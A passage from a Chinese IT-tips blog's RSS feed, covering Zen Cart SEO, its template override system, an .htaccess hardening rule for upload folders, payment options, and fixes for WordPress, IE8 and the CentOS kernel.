下载：http://www.zen-cart.cn/forum/topic4466.html<br />
更多seo及用户体验插件详见： </p>
<p>http://www.zen-cart.com/index.php?main_page=index&#038;cPath=40&#038;zenid=fa8f24307bfa5e0824e7da03812d9e50</p>
<p>商业插件： </p>
<p>http://www.magic-seo-url.com/zencart/</p>
<p>介绍见：http://www.magic-seo-url.com/zencart/features.html<br />
<span id="more-957"></span><br />
经过以上的调整，我们可以使基于Zen Cart程序的站点达到以下水平：<br />
1>保证站内有效页面在各个搜索引擎的索引数量。<br />
2>通过在线统计系统或者分析logfiles得到产品的销售规律。<br />
3>追踪排名变化，根据竞争对手的情况有效调整推广方案。<br />
4>排除重复或类容页面对站点各关键词排名的影响，有效提高页面pr。<br />
5>在流量及排名的稳定的情况下，分析网站用户体验（比如搜索、联系方式、交易方式等）对客户转化率的影响，适时调整。<br />
6>对站外优化提出最大工作量的细节要求，定期定量的完成链接打造等指标。<br />
相关文章<br />
zencart文件上传安全隐患<br />
zencart的cache和images两个目录由于需要保存sessions和图像, 设置了777的完全权限.<br />
但默认的zencart在两个目录都没有设置.htaccess的安全执行机制. 有可能(已经出现有了)被上传黑客程序.<br />
必须在cache和images两个目录里的.htaccess文件里增加以下代码, 防止php程序在这两个目录里执行.</p>
<p>[Files *.php]<br />
Order Deny,Allow<br />
Deny from all<br />
[/Files]</p>
<p>没有.htaccess就新建该文件</p>
<p>我们在对国外的客户销售产品或服务的时候，需要接受国外客户的付款。而国外客户最方便和最常用的方式就是信用卡付款。<br />
但是，如果是直接接受信用卡付款，拿着客户的信用卡号码去银行要钱，对于大部分的普通商家，还是不可行的。<br />
那么中小型商家怎么在自己的网站上接受国外客户的信用卡付款呢？<br />
根据HosteGuide.com的整理，目前一共有3种可行的方法：</p>
<p>1，通过paypal收款，paypal提供了2中收款模式，一种是对方有paypal帐号，通过paypal帐号付款给商家；一种是可以不用注册paypal帐号，直接用信用卡付款。一般常用的visa master jbc等都支持。<br />
这种方式一般没有月服务费和开户费，每笔交易收取手续费3.4%，这是成本最低的接受国外付款的方式。<br />
2，通过国内支付网关的外海版，如 chinabank 和ips都有这样的平台<br />
这种一般需要企业法人申请，各家的政策不同，可以去咨询。<br />
3，通过国外的支付网关，如2checkout等，他们是类似于国内的chinabank和ips这样的第三方支付网关。有月租费和每笔手续费。他们的好处是：相对与ips，国外的客户比较相信这些国际的支付网关。<br />
很多开源的商城系统，都已经包含了这些模块，去申请开户就可以了。（如 zen-cart oscommerce等）</p>
<p>本文所用版本：1.3.8a<br />
ZenCart商品分类可以无限分级，所有分类页面和所有商品页面的title、description、keywords可以自由编辑，特别是商品页面的title有多个自动填充选项，在这一点上对SEO的考虑可以说到了极致。<br />
一，自由编辑商品页面的title、description、keywords。<br />
进入后台，在商品管理–〉商品分类里新建分类和商品后，在商品列表的最右边可以看到类似风轮的图标，黑的为Meta标签未定义，红的为Meta标签已定义，默认为黑色。<br />
很多人用ZenCart建站后，从来没有点击这个风轮，风轮永远是黑色，没有充分利用ZenCart提供的最重要的SEO手段。<br />
黑色意味着页面的title、description、keywords为系统自动生成的。<br />
title为：<br />
商品名称+[商品编号]+PRIMARY_SECTION+TITLE+TERTIARY_SECTION+SITE_TAGLINE<br />
description为：<br />
TITLE+商品名称+[商品编号]+SECONDARY_SECTION+商品简介<br />
keywords为：<br />
商品名称+[商品编号]+所有一级商品分类的名称<br />
注意上面的PRIMARY_SECTION、TITLE、TERTIARY_SECTION、SITE_TAGLINE、SECONDARY_SECTION可以在meta_tags.php文件里自由设定。<br />
问题很明显：title关键词覆盖面窄，description太长，keywords里所有一级商品分类的名称是很离谱的。<br />
然而ZenCart作为国际顶级的网店系统，提供了神奇的风轮。<br />
光点击进风轮是不变红的，必须在随后出现的页面的当前语言的title、description、keywords编辑栏里输入东西才变红，唯有如此，系统才会放弃自动生成的title、description、keywords，而采用人工输入的title、description、 keywords，实现自由编辑。<br />
Ethan非常赞赏的地方是对于最重要的title，ZenCart提供了自动填充的功能，此举应该成为网店系统效仿的榜样。自动填充可以设定是否呈现商品名称、标题、商品编号、价格、标题/标签行，生成title的公式如下：<br />
商品名称+标题+[商品编号]+SECONDARY_SECTION+价格+PRIMARY_SECTION+TITLE+TERTIARY_SECTION+SITE_TAGLINE<br />
注意上面的PRIMARY_SECTION、TITLE、TERTIARY_SECTION、SITE_TAGLINE、 SECONDARY_SECTION可以在meta_tags.php文件里自由设定，标题为下面编辑框里输入的title，标题/标签行就是TITLE /SITE_TAGLINE。<br />
二，自由编辑分类页面的title、description、keywords。<br />
和自由编辑商品页面类似，不过没有自动填充的功能。<br />
Zen Cart文件替代机制<br />
这才是zen cart超强的一个功能啊！<br />
很多用户对zen cart做了自己的修改，非常好！但同时，一些用户修改了很多重要的文件，例如：<br />
/includes/filenames.php<br />
/includes/languages/schinese.php<br />
/includes/languages/schinese/*.php<br />
等等…<br />
友情提示：如果你希望以后的升级更容易，不要修改这些文件！<br />
Zen Cart的文件替代机制的功能非常强，你不需要修改上面的这些文件。<br />
如果你修改了这些文件，下次升级的时候，Zen Cart会覆盖这些文件，你做的修改会丢失。<br />
好了，如何避免这种情况呢？如何使用文件替代机制？<br />
下面，我一步步说明如何使用文件替代机制，而不是去修改Zen Cart的核心文件！<br />
下面的所有例子，都假设你：<br />
1. 使用简体中文。其它语言相应修改就好。<br />
2. 例子使用的模板名字是custom<br />
“custom” 目录名可以是任何名字…. 只是在所有地方都要一致，这样文件替代机制才能正常工作。<br />
你可以命名为:<br />
- mytemplate<br />
- custom<br />
- billg<br />
- helluvacart<br />
- zenrocks<br />
- thisseemstoolongatemplatename<br />
- supercalifragilisticexpialidocious<br />
- tpl<br />
还有很多 !!!!<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
附录及声明: 如果我漏了什么, 或者说错了，请告知，我会尽快修改! 不作任何担保。一个月后凭收据退款! <img src='http://www.evanjiang.net.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
— 注，请先阅读－如何添加、制作新模板？<br />
——————————————————————————–<br />
修改缺省语言文件 &#8211; /includes/languages/schinese.php<br />
例子: 你想修改标题，将“Zen Cart!”, 改为“我的商店名称！”<br />
在目录/includes/languages下，建立一个与你的模板同名的目录，例如/includes/languages/custom.<br />
将schinese.php文件复制到该目录。<br />
接着，你就可以修改文件/includes/languages/custom/schinese.php:<br />
define(’TITLE’, ’Zen Cart!’);<br />
改为:<br />
define(’TITLE’, ’我的商店名称!’);<br />
——————————————————————————–<br />
修改语言文件 &#8211; /includes/languages/schinese/*.php (所有该目录下的文件)<br />
例子: 你想修改account.php中的文字 &#8211; 比如你要将 ’帐号’ 改为 ’档案’<br />
建立一个与你的模板同名的目录。假设模板名是custom。那么目录就是:<br />
/includes/languages/schinese/custom<br />
将原来的文件/includes/languages/schinese/account.php复制到新目录:<br />
/includes/languages/schinese/custom<br />
接着, 修改该新的custom目录下的文件。这样，该修改会 ’替代’ 原来/includes/languages/schinese目录中的相应文件, 从而不会影响和修改核心文件。<br />
——————————————————————————–<br />
修改模板文件 &#8211; /includes/templates/template_default/templates/tpl_*_default.php<br />
例如: 你想修改tpl_account_default.php文件中的一些HTML<br />
在你的模板目录中( /includes/templates/custom ) 你应该已经有一个模板目录了 ( /includes/templates/custom/templates )。<br />
将文件tpl_account_default.php复制到该目录中。然后你就可以自己修改了，它会自动 ’替代’ /includes/templates/template_default/templates目录中的相应文件。<br />
你只要复制需要修改的文件到自己的模板目录，如果你未做修改，那么缺省情况下，商店会从template_default目录调用缺省文件。<br />
——————————————————————————–<br />
修改边框模板<br />
这和修改通用模板是一样的(见上), 除了边框的路径是:<br />
/includes/templates/custom/sideboxes<br />
——————————————————————————–<br />
修改边框 &#8211; /includes/modules/sideboxes/*.php<br />
例子: 你想修改边框information.php文件，加上另外一个链接。<br />
在边框文件的目录中(/includes/modules/sideboxes)，建立另一个和模板custom同名的子目录，就是/includes/modules/sideboxes/custom<br />
将文件information.php复制到该新目录中<br />
接着你就可以修改新的information.php，它会替代/includes/modules/sideboxes目录中的缺省information.php文件<br />
你可以核对该边框是否被替代，登录管理页面 -> 工具 -> 外观控制。在栏目 ’方框文件名’ 下, 如果文件名显示为红色, 就说明它被替代了。<br />
——————————————————————————–<br />
调用自定义文件名 &#8211; /includes/filenames.php<br />
例子: 你新建了一个页面about_us，需要调用该文件名。<br />
不要在/includes/filenames.php文件中添加一个新的定义，你应该在已有的目录/includes/extra_datafiles中定义该文件名。<br />
建立新文件about_us_filenames.php，然后放在目录/includes/extra_datafiles中。<br />
在该文件中，要有以下代码:<br />
<?php<br />
// About Us Filename Define<br />
##define(’FILENAME_ABOUT_US’, ’about_us’);<br />
?><br />
该文件将自动被调用, 就象该目录中的其它文件一样, 因此系统知道你的定制文件。<br />
尽量用同样的办法新建文件…例如, 调用文件blah，将它命名为blah_filenames.php<br />
——————————————————————————–<br />
调用自定义数据库表 &#8211; /includes/database_tables.php<br />
例子: 你为自己的UPS跟踪系统建了个数据库ups_track，需要为代码定义数据表名。<br />
不要在文件/includes/database_tables.php中定义, 你要在已有的目录/includes/extra_datafiles中定义数据表。<br />
建立新文件ups_track_database_tables.php，置于目录/includes/extra_datafiles中。<br />
在该文件中，要有以下代码:<br />
<?php<br />
// UPS Tracking Table<br />
##define(’TABLE_UPS_TRACK’, ’ups_track’);<br />
?><br />
该文件将自动被调用，就象该目录中的其它文件一样, 因此系统知道你的定制数据库。<br />
——————————————————————————–<br />
额外语言文件<br />
例如: 你新建了一个Resource Center方框，需要一个额外文件来调用额外语言定义。<br />
在目录/includes/languages/schinese/extra_definitions中, 你可以建立一个文件resource_center_box_defines.php。在该文件中，你可以放置新的方框的所有语言定义。<br />
该文件将自动被调用, 保证你的自定义方框或页面的语言定义被调用。<br />
——————————————————————————–<br />
给已有文件增加额外Javascript<br />
例子: 你想为你的Bizrate帐号调用一些javascript，这样，订单完成后，就会从已有页面调用checkout_success.php。<br />
在目录/includes/modules/pages/checkout_success中，建一个新文件jscript_bizrate.js<br />
在该文件中，放置Bizrate给你的javascript代码，例如:<br />
<script language=”javascript” ##type=”text/javascript”><!–
whatever the heck bizrate gave you
//–></script><br />
同样地..如果你使用Google的转换跟踪系统。建立另外一个文件，例如jscript_google.php<br />
——————————————————————————–<br />
添加和修改CSS文件<br />
例子: 你为自己的网站新建了一个CSS类<br />
不要添加到已有的CSS文件/includes/templates/custom/css/stylesheet.css中，要在同一目录下，另建一个文件stylesheet_YOURFILENAME.css，然后将你的CSS数据加在这里。<br />
——————————————————————————–<br />
最后，谈谈升级！<br />
现在，你正确使用Zen Cart的替代机制了！恭喜，你可以放心了。你不用担心升级文件会覆盖你的定制文件，因为所有的定制文件都保存在你自己的目录里！<br />
好吧，你升级了Zen Cart。但如果你替代的文件有新的代码呢？所以你需要比较custom目录和新的核心文件。<br />
例子：你修改了/includes/languages/custom/schinese.php文件, 升级后, /includes /languages/schinese.php文件中有些新的定义。显然你要把这些新的定义加入到你的schinese.php文件中。<br />
最容易的方法就是使用文件比较工具！<br />
推荐使用WinMerge, 也是开源免费。<br />
有了文件比较工具，你就可以比较你的/includes/languages/custom/schinese.php文件， 和新的核心文件/includes/languages/schinese.php，然后很容易将新的修改加入到你的替代文件中。<br />
zen-cart如何添加新的页面？<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
最近一直在弄网店，发现很多关于修改zen-cart的文章，于是整理了一些。<br />
首先，创建自己的模板文件。附加页面在includes/languages/schinese/ 目录下，文件名 为：page_2.php, page_3.php 和 page_4.php。在includes/languages/schinese/下建立一个 新目录，命名为 YOUR_TEMPLATE，然后将三个PHP文件拷贝到includes/languages/schinese /YOUR_TEMPLATE 目录下，您就可以随意修改了。需要更多页面，只要再复制文件，然后命名为page_5，page_6 等等。<br />
您还需要给附加页面添加头文件。打开includes/ modules/ pages，复制您需要的所有 page_X 目录和目录内文件，按您的页面改名。<br />
现在打开includes/ filenames.php文件，按照相同的命名规则修改文件。<br />
最后，在includes/ templates/ YOUR_TEMPLATE/ templates/目录下，为附加页面创建模板页。复制tpl_page_X_default.php文件，然后再按照相同的命名规则改名。<br />
要在”更多信息”方框内修改/添加新页面，将 /includes/ languages/ schinese.php文件，复制到模板目录下，找到定义more_information方框的段落，按您的需要修改”更多信息”，同时修改链接的名称。<br />
剩下的就是添加链接到方框。复制 /includes/ modules /sideboxes/ more_information.php文件到模板目录，按照相同的模式添加您的链接，然后进入管理页面，工具->外观控制，设置该文件。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/957.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>什么是Zen Cart？</title>
		<link>http://www.evanjiang.net.cn/archives/953.html</link>
		<comments>http://www.evanjiang.net.cn/archives/953.html#comments</comments>
		<pubDate>Fri, 24 Apr 2009 02:06:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[zen-cart]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=953</guid>
		<description><![CDATA[<p>为网上销售商而设计</p>
<p>Zen Cart是真正的电子商务艺术，一个免费、界面友好，开放式源码的购物车软件。 该软件由一些销售商、程序员、设计师和顾问们共同开发，目的就是用户能建立风格不同的电子商务系统。现有的一些解决方案过重于编程，而不是着眼于客户的需求。ZenCart把销售商和购物者的需求放在第一位。同时，那些程序如果没有专业人员，几乎不可能安装成功，而一个有基本计算机知识的人就会安装Zen Cart。另外那些程序也非常昂贵&#8230; 而Zen Cart，完全免费!</p>
<p>为网上购物者而设计</p>
<p>Zen Cart将带给您的客户全新的网上购物体验。 通过Zen Cart浏览商品将会变得轻而易举。除了传统的目录清单，该程序还提供几个特色商品目录。商品加入购物车后，只要简单的三步就可以安全结帐。客户填写交货地址，选择交货方式（含多种交货方式，内置网上实时运费报价）。然后，从多种流行的付款方式中任选一种。（例如，PayPal和AuthorizeNet）最后，客户复查订单、交付方式和付款选择，然后确认订单。您可以立即得到订单通知，客户也会收到电子邮件的订单确认 。</p>
<p>Zen Cart实现了我们设定的很多目标：
* 容易安装
* 容易定制
* 自动化，例如订单确认
* 方便浏览
* 内置的促销、折扣、礼物券、新闻简讯和商品通知功能
* 单件商品优惠或者全部商品折扣，团体优惠和大订单优惠
* 内置搜索优化工具
* 密码保护的管理员工具
* 支持多种语言、货币和税率结构</p>
<p>简而言之，Zen Cart包括了购物车软件所应该具备的所有功能。

为网页设计者而设计</p>
<p>Zen Cart给网页设计者一个稳定而灵活的电子商店前台，易于更新。它提供了易用的、直观的、简洁的购物流程，完全依照现行商业标准 &#8211; 您的客户即刻能使用它！该软件强大功能的一个秘密就是模板系统。该模板系统抽象了Zen Cart代码和逻辑的&#8221;观感&#8221;，从而带给您的客户一个真正可定制的方案，迅速而完美地集成他们现行的营销网站。</p>
<p>为程序员和服务器提供商而设计</p>
<p>基于Zen Cart现代标准和技术，程序员能实现最尖端技术。采用PHP服务器端技术，以及可以适应后台多数据库系统（在以后版本中利用ADOdb技术），就能够开发出容易定制和修改的软件。
服务器最低/建议配置：PHP 4.3.2 或更高版本 (PHP 4.4.10+ 性能更佳), Apache 1.3.x 和 MySQL 3.2x.x 或更高版本。</p>
<p>为网上销售商而设计








Zen Cart是真正的电子商务艺术，一个免费、界面友好，开放式源码的购物车软件。 该软件由一些销售商、程序员、设计师和顾问们共同开发，目的就是用户能建立风格不同的电子商务系统。现有的一些解决方案过重于编程，而不是着眼于客户的需求。ZenCart把销售商和购物者的需求放在第一位。同时，那些程序如果没有专业人员，几乎不可能安装成功，而一个有基本计算机知识的人就会安装Zen Cart。另外那些程序也非常昂贵&#8230; 而Zen Cart，完全免费!</p>
<p>为网上购物者而设计</p>
<p>Zen Cart将带给您的客户全新的网上购物体验。 通过Zen Cart浏览商品将会变得轻而易举。除了传统的目录清单，该程序还提供几个特色商品目录。商品加入购物车后，只要简单的三步就可以安全结帐。客户填写交货地址，选择交货方式（含多种交货方式，内置网上实时运费报价）。然后，从多种流行的付款方式中任选一种。（例如，PayPal和AuthorizeNet）最后，客户复查订单、交付方式和付款选择，然后确认订单。您可以立即得到订单通知，客户也会收到电子邮件的订单确认 。</p>
<p>Zen Cart实现了我们设定的很多目标：
* 容易安装
* 容易定制
* 自动化，例如订单确认
* 方便浏览
* 内置的促销、折扣、礼物券、新闻简讯和商品通知功能
* 单件商品优惠或者全部商品折扣，团体优惠和大订单优惠
* 内置搜索优化工具
* 密码保护的管理员工具
* [...]]]></description>
			<content:encoded><![CDATA[<p>为网上销售商而设计</p>
<p>Zen Cart是真正的电子商务艺术，一个免费、界面友好，开放式源码的购物车软件。 该软件由一些销售商、程序员、设计师和顾问们共同开发，目的就是用户能建立风格不同的电子商务系统。现有的一些解决方案过重于编程，而不是着眼于客户的需求。ZenCart把销售商和购物者的需求放在第一位。同时，那些程序如果没有专业人员，几乎不可能安装成功，而一个有基本计算机知识的人就会安装Zen Cart。另外那些程序也非常昂贵&#8230; 而Zen Cart，完全免费!</p>
<p>为网上购物者而设计</p>
<p>Zen Cart将带给您的客户全新的网上购物体验。 通过Zen Cart浏览商品将会变得轻而易举。除了传统的目录清单，该程序还提供几个特色商品目录。商品加入购物车后，只要简单的三步就可以安全结帐。客户填写交货地址，选择交货方式（含多种交货方式，内置网上实时运费报价）。然后，从多种流行的付款方式中任选一种。（例如，PayPal和AuthorizeNet）最后，客户复查订单、交付方式和付款选择，然后确认订单。您可以立即得到订单通知，客户也会收到电子邮件的订单确认 。</p>
<p>Zen Cart实现了我们设定的很多目标：<br />
* 容易安装<br />
* 容易定制<br />
* 自动化，例如订单确认<br />
* 方便浏览<br />
* 内置的促销、折扣、礼物券、新闻简讯和商品通知功能<br />
* 单件商品优惠或者全部商品折扣，团体优惠和大订单优惠<br />
* 内置搜索优化工具<br />
* 密码保护的管理员工具<br />
* 支持多种语言、货币和税率结构</p>
<p>简而言之，Zen Cart包括了购物车软件所应该具备的所有功能。<br />
<span id="more-953"></span><br />
为网页设计者而设计</p>
<p>Zen Cart给网页设计者一个稳定而灵活的电子商店前台，易于更新。它提供了易用的、直观的、简洁的购物流程，完全依照现行商业标准 &#8211; 您的客户即刻能使用它！该软件强大功能的一个秘密就是模板系统。该模板系统抽象了Zen Cart代码和逻辑的&#8221;观感&#8221;，从而带给您的客户一个真正可定制的方案，迅速而完美地集成他们现行的营销网站。</p>
<p>为程序员和服务器提供商而设计</p>
<p>基于Zen Cart现代标准和技术，程序员能实现最尖端技术。采用PHP服务器端技术，以及可以适应后台多数据库系统（在以后版本中利用ADOdb技术），就能够开发出容易定制和修改的软件。<br />
服务器最低/建议配置：PHP 4.3.2 或更高版本 (PHP 4.4.10+ 性能更佳), Apache 1.3.x 和 MySQL 3.2x.x 或更高版本。</p>
<p>为网上销售商而设计<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
Zen Cart是真正的电子商务艺术，一个免费、界面友好，开放式源码的购物车软件。 该软件由一些销售商、程序员、设计师和顾问们共同开发，目的就是用户能建立风格不同的电子商务系统。现有的一些解决方案过重于编程，而不是着眼于客户的需求。ZenCart把销售商和购物者的需求放在第一位。同时，那些程序如果没有专业人员，几乎不可能安装成功，而一个有基本计算机知识的人就会安装Zen Cart。另外那些程序也非常昂贵&#8230; 而Zen Cart，完全免费!</p>
<p>为网上购物者而设计</p>
<p>Zen Cart将带给您的客户全新的网上购物体验。 通过Zen Cart浏览商品将会变得轻而易举。除了传统的目录清单，该程序还提供几个特色商品目录。商品加入购物车后，只要简单的三步就可以安全结帐。客户填写交货地址，选择交货方式（含多种交货方式，内置网上实时运费报价）。然后，从多种流行的付款方式中任选一种。（例如，PayPal和AuthorizeNet）最后，客户复查订单、交付方式和付款选择，然后确认订单。您可以立即得到订单通知，客户也会收到电子邮件的订单确认 。</p>
<p>Zen Cart实现了我们设定的很多目标：<br />
* 容易安装<br />
* 容易定制<br />
* 自动化，例如订单确认<br />
* 方便浏览<br />
* 内置的促销、折扣、礼物券、新闻简讯和商品通知功能<br />
* 单件商品优惠或者全部商品折扣，团体优惠和大订单优惠<br />
* 内置搜索优化工具<br />
* 密码保护的管理员工具<br />
* 支持多种语言、货币和税率结构</p>
<p>简而言之，Zen Cart包括了购物车软件所应该具备的所有功能。</p>
<p>为网页设计者而设计<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
Zen Cart给网页设计者一个稳定而灵活的电子商店前台，易于更新。它提供了易用的、直观的、简洁的购物流程，完全依照现行商业标准 &#8211; 您的客户即刻能使用它！该软件强大功能的一个秘密就是模板系统。该模板系统抽象了Zen Cart代码和逻辑的&#8221;观感&#8221;，从而带给您的客户一个真正可定制的方案，迅速而完美地集成他们现行的营销网站。</p>
<p>为程序员和服务器提供商而设计</p>
<p>基于Zen Cart现代标准和技术，程序员能实现最尖端技术。采用PHP服务器端技术，以及可以适应后台多数据库系统（在以后版本中利用ADOdb技术），就能够开发出容易定制和修改的软件。<br />
服务器最低/建议配置：PHP 4.3.2 或更高版本 (PHP 4.4.10+ 性能更佳), Apache 1.3.x 和 MySQL 3.2x.x 或更高版本。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/953.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>结过昨晚的努力，终于解决博客分类下拉菜单的问题</title>
		<link>http://www.evanjiang.net.cn/archives/927.html</link>
		<comments>http://www.evanjiang.net.cn/archives/927.html#comments</comments>
		<pubDate>Tue, 21 Apr 2009 03:58:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=927</guid>
		<description><![CDATA[<p>经过昨晚的努力，终于解决博客分类下拉菜单的问题，原先以为是俺博客迁移后所造成的缘故，原以为是博客空间从apache迁移到Lighttpd后出现的环境问题，甚至是迁移后的数据库问题。但是经过昨天的检查与验证，发觉不是。原来是之前博客所用inove模板自身的问题。起初，俺也不这样认为，但是，自俺昨晚连续测试两上新的模板后，原来的分类菜单都能正常显示出来。那这就说明这个inove模板屏蔽了下拉菜单。而俺昨晚也找到inove的支持网站，找到inove开发者的在线联系方式，尝试加inove开发者的QQ，在线探讨一下这个问题，只是inove的开发者，过于高傲，不屑于跟俺探讨这个问题。因而，当俺尝试加inove开发者的QQ时，对方并没有通过。。。因而，俺有点气愤inove开发者的心高气傲，就想着独自解决这个问题，也想着放弃这个inove模板。。。转而在wordpress的theme目录下面，下载了下载排名最高的四个模板。其中一个就是俺现在用这个模板。一用上，在后台适当调整一下。分类的目录就顺利显示出来。。。
现在这个模板。功能很强大，无论是功能，还是可控性都要比inove强。基本上是提供可视化的css编辑与修改。定制性很强。虽然，俺现在只是用到其中一部份功能。但细究下去，应该可以发现到许多惊喜。。。如果熟练之，真的可以将wordpress定制成一个cms网站界面。。。。</p>
]]></description>
			<content:encoded><![CDATA[<p>经过昨晚的努力，终于解决博客分类下拉菜单的问题，原先以为是俺博客迁移后所造成的缘故，原以为是博客空间从apache迁移到Lighttpd后出现的环境问题，甚至是迁移后的数据库问题。但是经过昨天的检查与验证，发觉不是。原来是之前博客所用inove模板自身的问题。起初，俺也不这样认为，但是，自俺昨晚连续测试两上新的模板后，原来的分类菜单都能正常显示出来。那这就说明这个inove模板屏蔽了下拉菜单。而俺昨晚也找到inove的支持网站，找到inove开发者的在线联系方式，尝试加inove开发者的QQ，在线探讨一下这个问题，只是inove的开发者，过于高傲，不屑于跟俺探讨这个问题。因而，当俺尝试加inove开发者的QQ时，对方并没有通过。。。因而，俺有点气愤inove开发者的心高气傲，就想着独自解决这个问题，也想着放弃这个inove模板。。。转而在wordpress的theme目录下面，下载了下载排名最高的四个模板。其中一个就是俺现在用这个模板。一用上，在后台适当调整一下。分类的目录就顺利显示出来。。。<br />
现在这个模板。功能很强大，无论是功能，还是可控性都要比inove强。基本上是提供可视化的css编辑与修改。定制性很强。虽然，俺现在只是用到其中一部份功能。但细究下去，应该可以发现到许多惊喜。。。如果熟练之，真的可以将wordpress定制成一个cms网站界面。。。。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/927.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>解决IE8安装ALEXA工具条出现不兼容的问题</title>
		<link>http://www.evanjiang.net.cn/archives/911.html</link>
		<comments>http://www.evanjiang.net.cn/archives/911.html#comments</comments>
		<pubDate>Thu, 16 Apr 2009 06:06:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[ie8 alexa工具条]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=911</guid>
		<description><![CDATA[<p>相信有不少朋友已经碰到过这种现象，就是升级到IE8后，原来的ALEXA工具条已经不出来。并弹出以下窗口。内容如：res://AlxTB1.dll/CHTML/bootstrap.html</p>
<p>解决办法很简单
点击：开始&#8211;>运行&#8211;>输入res://AlxTB1.dll/CHTML/bootstrap.html
然后弹出IE，点击允许，点几次，直到不提示为止。
重启IE，OK。</p>
]]></description>
			<content:encoded><![CDATA[<p>相信有不少朋友已经碰到过这种现象，就是升级到IE8后，原来的ALEXA工具条已经不出来。并弹出以下窗口。内容如：res://AlxTB1.dll/CHTML/bootstrap.html</p>
<p>解决办法很简单<br />
点击：开始&#8211;>运行&#8211;>输入res://AlxTB1.dll/CHTML/bootstrap.html<br />
然后弹出IE，点击允许，点几次，直到不提示为止。<br />
重启IE，OK。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/911.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>centos4.4 升级内核打netfilter补丁</title>
		<link>http://www.evanjiang.net.cn/archives/905.html</link>
		<comments>http://www.evanjiang.net.cn/archives/905.html#comments</comments>
		<pubDate>Sun, 12 Apr 2009 00:35:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[centos4.4 升级内核打 netfilter补丁]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=905</guid>
		<description><![CDATA[<p>1、下载
linux-2.6.15.6.tar.bz2
patch-2.6.15.6.bz2
iptables-1.3.6.tar.bz2
patch-o-matic-ng-20061024.tar.bz2
2、解压缩
cd /usr/src
tar -jxf linux-2.6.15.6.tar.bz2
tar -jxf iptables-1.3.6.tar.bz2
tar -jxf patch-o-matic-ng-20061024.tar.bz2</p>
<p>3、内核先打补丁
cd /usr/src/linux-2.6.15.6
bunzip2 -dv /usr/src/patch-2.6.15.6.bz2 &#124; patch -p0
vi /usr/src/linux-2.6.15.6/include/linux/posix_types.h
#define __FD_SETSIZE 65536
vi /usr/src/linux-2.6.15.6/include/linux/fs.h
#define INR_OPEN 65536
#define NR_FILE 65536
vi /usr/src/linux-2.6.15.6/include/net/tcp.h
#define TCP_TIMEWAIT_LEN (1*HZ)
#define TCP_SYNACK_RETRIES 3</p>
<p>4、拷贝原来的config
cp /boot/config-2.6.9-42.ELsmp ./.config
注：我的是双cpu的机器，所以是ELsmp
make menuconfig</p>
<p>选择 Load an Alternate Configuration File
选择 .config
保存 退出</p>
<p>5、打netfilter补丁
cd /usr/src/path-o-matic-ng-20061024
./runme &#8211;download
注：上述命令选择下载ipp2p time等补丁
export KERNEL_DIR=/usr/src/linux-2.6.15.6
export IPTABLES_DIR=/usr/src/iptables-1.3.6
./runme ipp2p
./runme time
./runme connlimit

6、配置内核选项
networking
networking options
network packet filtering (replaces ipchains)
IP:Netfilter Configuration
把 ipp2p、time、 Connections/IP 选上</p>
<p>Security options
NSA [...]]]></description>
			<content:encoded><![CDATA[<p>1、下载<br />
linux-2.6.15.6.tar.bz2<br />
patch-2.6.15.6.bz2<br />
iptables-1.3.6.tar.bz2<br />
patch-o-matic-ng-20061024.tar.bz2<br />
2、解压缩<br />
cd /usr/src<br />
tar -jxf linux-2.6.15.6.tar.bz2<br />
tar -jxf iptables-1.3.6.tar.bz2<br />
tar -jxf patch-o-matic-ng-20061024.tar.bz2</p>
<p>3、内核先打补丁<br />
cd /usr/src/linux-2.6.15.6<br />
bunzip2 -dv /usr/src/patch-2.6.15.6.bz2 | patch -p0<br />
vi /usr/src/linux-2.6.15.6/include/linux/posix_types.h<br />
#define __FD_SETSIZE 65536<br />
vi /usr/src/linux-2.6.15.6/include/linux/fs.h<br />
